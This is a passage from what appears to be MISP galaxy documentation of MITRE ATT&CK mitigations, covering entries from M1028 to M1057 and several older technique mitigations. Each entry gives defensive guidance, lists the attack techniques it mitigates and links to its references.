- mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 4756. Table References

Links
https://attack.mitre.org/mitigations/M1028

Remote Data Storage - M1029

Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.

The tag is: *misp-galaxy:mitre-course-of-action="Remote Data Storage - M1029"*

View relationships graph

Remote Data Storage - M1029 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"

Table 4757. Table References

Links
https://attack.mitre.org/mitigations/M1029

Time Providers Mitigation - T1209

Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Time Providers Mitigation - T1209"*

View relationships graph

Time Providers Mitigation - T1209 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"

Table 4758. Table References

Links

http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1209
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings

Scheduled Transfer Mitigation - T1029

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Scheduled Transfer Mitigation - T1029"*

View relationships graph

Scheduled Transfer Mitigation - T1029 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

Table 4759. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1029

Limit Software Installation - M1033

Block users or groups from installing unapproved software.

The tag is: *misp-galaxy:mitre-course-of-action="Limit Software Installation - M1033"*

View relationships graph

Limit Software Installation - M1033 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="XDG Autostart Entries - T1547.013" with estimative-language:likelihood-probability="almost-certain"

Table 4760. Table References

Links
https://attack.mitre.org/mitigations/M1033

Credential Access Protection - M1043

Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.

The tag is: *misp-galaxy:mitre-course-of-action="Credential Access Protection - M1043"*

View relationships graph

Credential Access Protection - M1043 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Modify System Image - T1601" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Patch System Image - T1601.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade System Image - T1601.002" with estimative-language:likelihood-probability="almost-certain"

Table 4761. Table References

Links
https://attack.mitre.org/mitigations/M1043

Limit Hardware Installation - M1034

Block users or groups from installing or using unapproved hardware on systems, including USB devices.

The tag is: *misp-galaxy:mitre-course-of-action="Limit Hardware Installation - M1034"*

View relationships graph

Limit Hardware Installation - M1034 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"

Table 4762. Table References

Links
https://attack.mitre.org/mitigations/M1034

Path Interception Mitigation - T1034

Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.

Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).

Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.

Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-course-of-action="Path Interception Mitigation - T1034"*

View relationships graph

Path Interception Mitigation - T1034 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"

Table 4763. Table References

Links
http://msdn.microsoft.com/en-us/library/ms682425
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1034
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://msdn.microsoft.com/en-us/library/ff919712.aspx
https://skanthak.homepage.t-online.de/sentinel.html

Service Execution Mitigation - T1035

Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.

Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Service Execution Mitigation - T1035"*

View relationships graph

Service Execution Mitigation - T1035 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"

Table 4764. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1035
https://technet.microsoft.com/en-us/library/ee791851.aspx

Scheduled Task Mitigation - T1053

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)

Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)

Configure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)

Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Scheduled Task Mitigation - T1053"*

View relationships graph

Scheduled Task Mitigation - T1053 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 4765. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1053
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://github.com/mattifestation/PowerSploit
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://technet.microsoft.com/library/dn221960.aspx
https://technet.microsoft.com/library/jj852168.aspx

Account Use Policies - M1036

Configure features related to account use like login attempt lockouts, specific login times, etc.

The tag is: *misp-galaxy:mitre-course-of-action="Account Use Policies - M1036"*

View relationships graph

Account Use Policies - M1036 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication Request Generation - T1621" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Credential Stuffing - T1110.004" with estimative-language:likelihood-probability="almost-certain"

Table 4766. Table References

Links
https://attack.mitre.org/mitigations/M1036

Filter Network Traffic - M1037

Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.

The tag is: *misp-galaxy:mitre-course-of-action="Filter Network Traffic - M1037"*

View relationships graph

Filter Network Traffic - M1037 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Direct Network Flood - T1498.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="OS Exhaustion Flood - T1499.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Exhaustion Flood - T1499.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1552.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Cloud Instance Metadata API - T1522" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Reflection Amplification - T1498.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Exhaustion Flood - T1499.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DHCP Spoofing - T1557.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Boundary Bridging - T1599" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SNMP (MIB Dump) - T1602.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 4767. Table References

Links
https://attack.mitre.org/mitigations/M1037

Logon Scripts Mitigation - T1037

Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: *misp-galaxy:mitre-course-of-action="Logon Scripts Mitigation - T1037"*

View relationships graph

Logon Scripts Mitigation - T1037 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"

Table 4768. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1037

Environment Variable Permissions - M1039

Prevent modification of environment variables by unauthorized users and groups.

The tag is: *misp-galaxy:mitre-course-of-action="Environment Variable Permissions - M1039"*

View relationships graph

Environment Variable Permissions - M1039 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"

Table 4769. Table References

Links
https://attack.mitre.org/mitigations/M1039

Process Hollowing Mitigation - T1093

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Process Hollowing Mitigation - T1093"*

View relationships graph

Process Hollowing Mitigation - T1093 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"

Table 4770. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1093
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Restrict Library Loading - M1044

Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict Library Loading - M1044"*

View relationships graph

Restrict Library Loading - M1044 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"

Table 4771. Table References

Links
https://attack.mitre.org/mitigations/M1044

Indicator Blocking Mitigation - T1054

Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Blocking Mitigation - T1054"*

View relationships graph

Indicator Blocking Mitigation - T1054 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"

Table 4772. Table References

Links
https://attack.mitre.org/mitigations/T1054
https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal

Software Packing Mitigation - T1045

Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.

Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Software Packing Mitigation - T1045"*

View relationships graph

Software Packing Mitigation - T1045 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"

Table 4773. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599

https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1045
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Staged Mitigation - T1074

Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.

The tag is: *misp-galaxy:mitre-course-of-action="Data Staged Mitigation - T1074"*

View relationships graph

Data Staged Mitigation - T1074 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Table 4774. Table References

Links
https://attack.mitre.org/mitigations/T1074

Environmental Keying Mitigation - T1480

This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.

The tag is: *misp-galaxy:mitre-course-of-action="Environmental Keying Mitigation - T1480"*

View relationships graph

Environmental Keying Mitigation - T1480 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

Table 4775. Table References

Links

https://attack.mitre.org/mitigations/T1480

Do Not Mitigate - M1055

This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.

The tag is: *misp-galaxy:mitre-course-of-action="Do Not Mitigate - M1055"*

View relationships graph

Do Not Mitigate - M1055 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Environmental Keying - T1480.001" with estimative-language:likelihood-probability="almost-certain"

Table 4776. Table References

Links
https://attack.mitre.org/mitigations/M1055

Data Loss Prevention - M1057

Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)

The tag is: *misp-galaxy:mitre-course-of-action="Data Loss Prevention - M1057"*

View relationships graph

Data Loss Prevention - M1057 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Asymmetric Encrypted Non-C2 Protocol - T1048.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048"

with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 4777. Table References

Links
https://attack.mitre.org/mitigations/M1057
https://purplesec.us/data-loss-prevention/

Process Discovery Mitigation - T1057

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Process Discovery Mitigation - T1057"*

View relationships graph

Process Discovery Mitigation - T1057 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 4778. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1057
https://technet.microsoft.com/en-us/library/ee791851.aspx

Account Discovery Mitigation - T1087

Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)

